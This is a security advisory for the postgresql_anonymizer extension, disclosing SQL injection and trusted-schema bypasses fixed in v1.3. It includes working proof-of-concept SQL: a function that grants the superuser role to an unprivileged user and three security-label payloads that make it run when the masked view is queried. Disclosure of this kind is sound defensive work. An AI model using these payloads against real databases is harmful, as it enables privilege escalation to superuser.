Skip to content

PostgreSQL: Anonymizer SQL Injection and Trusted Schema Bypasses

High
rcorrea35 published GHSA-468r-mhwc-vxjc May 9, 2024

Package

postgresql_anonymizer (PostgreSQL)

Affected versions

PostgreSQL 14 and postgresql_anonymizer 1.2.0 and 1.1.0

Patched versions

v1.3

Description

Summary

Postgresql Anonymizer enables users to set security labels on objects to mask specified properties. There is a flaw that allows complex expressions to be provided as a value. This expression is then later used as it to create the masked views leading to SQL Injection. If dynamic masking this will lead to privilege escalation to Superuser after the label is created.

The feature restrict_to_trusted_schemas is provided to only allow mask functions from a set of explicitly trusted schemas. There are issues with the implementation that enable a malicious user to bypass these restrictions having their own function execute when the masked view is used.

Severity

A user who is able to create security labels in the masked schema can elevate to Superuser when dynamic masking is enabled.

Proof of Concept

The setup has the Superuser postgres and a non privileged user test. The user test should have privileges to create objects in the source schema.

postgresql.conf has the following additions

shared_preload_libraries = 'anon'
anon.maskschema = mask
anon.sourceschema = public

As Superuser create the extension and enable dynamic masking

CREATE EXTENSION anon CASCADE;
SELECT anon.start_dynamic_masking();

As the user test executes the following

CREATE OR REPLACE FUNCTION public.elevate()
RETURNS void
AS
$$
BEGIN
  BEGIN
    EXECUTE FORMAT('GRANT %I TO test', CURRENT_USER);
  EXCEPTION WHEN OTHERS THEN
    RAISE NOTICE '%', SQLERRM;
  END;
END;
$$ LANGUAGE plpgsql;

CREATE TABLE employee (
  ssn TEXT
);

Below are different payloads to bypass the restriction. All will have the effect that when the resulting view is used that the user function in an untrusted schema will execute.

For nested functions PoC

SECURITY LABEL FOR anon ON COLUMN employee.ssn
IS 'MASKED WITH FUNCTION pg_catalog.upper(public.elevate()::text)';
INSERT INTO employee VALUES ('a');

For MASKED WITH VALUE PoC

SECURITY LABEL FOR anon ON COLUMN employee.ssn
IS 'MASKED WITH VALUE public.elevate()::text';
INSERT INTO employee VALUES ('a');

For SELECT Rule PoC

SECURITY LABEL FOR anon ON COLUMN employee.ssn
IS 'MASKED WITH VALUE NULL';

CREATE RULE "_RETURN" AS
ON SELECT TO public.employee
DO INSTEAD
SELECT public.elevate()::text as ssn;

After creating the table SELECT from the resulting masked view and check the user permissions. I run the query as the user postgres but this could be any user that has access to the view.

Select * from mask.employee;

\du test
            List of roles
 Role name | Attributes | Member of  
-----------+------------+------------
 test      |            | {postgres}

Further Analysis

The option anon.restrict_to_trusted_schemas states that enabling it requires masking filters must be in a trusted schema.

Nested Functions

The function anon_get_function_schema checks the function by running the value through the parser and getting the function call and returning the schema. This does not consider nested functions. A user can simply wrap their function around one in trusted schemas and have it be part of the resulting view.

SECURITY LABEL FOR anon ON COLUMN employee.ssn
IS 'MASKED WITH FUNCTION pg_catalog.upper(public.elevate()::text)';

\dS+ mask.employee
                            View "mask.employee"
 Column |  Type   | Collation | Nullable | Default | Storage  | Description 
--------+---------+-----------+----------+---------+----------+-------------
 id     | integer |           |          |         | plain    | 
 ssn    | text    |           |          |         | extended | 
View definition:
 SELECT employee.id,
    upper(elevate()::text) AS ssn
   FROM employee;

Masked With Value

The restrictions can also be bypassed by creating a MASKED WITH VALUE label instead of MASKED WITH FUNCTION.

The trigger trg_check_trusted_schemas that calls anon_get_function_schema passes the value of masking_function , but MASKED WITH VALUE is stored in masking_value leading the check to be bypassed.

SECURITY LABEL FOR anon ON COLUMN employee.ssn
IS 'MASKED WITH VALUE public.elevate()::text';

\dS+ mask.employee
                            View "mask.employee"
 Column |  Type   | Collation | Nullable | Default | Storage  | Description 
--------+---------+-----------+----------+---------+----------+-------------
 id     | integer |           |          |         | plain    | 
 ssn    | text    |           |          |         | extended | 
View definition:
 SELECT employee.id,
    elevate()::text AS ssn
   FROM employee;

SELECT Rules

A user is able to add a SELECT Rule to a table transforming it into a view (this isn’t supported in postgresql-16). After creating the table and masked view a user is able to alter the table into a view without issue. The result is when the masked view is used the functions in the new underlying view are executed.

There are two CVEs for this issue, CVE-2024-2338 and CVE-2024-2339 both of which were fixed in v1.3.

Timeline

Date reported: 02/06/2024
Date fixed:
Date disclosed: 05/09/2024

Severity

High

CVE ID

No known CVE

Weaknesses

No CWEs

Credits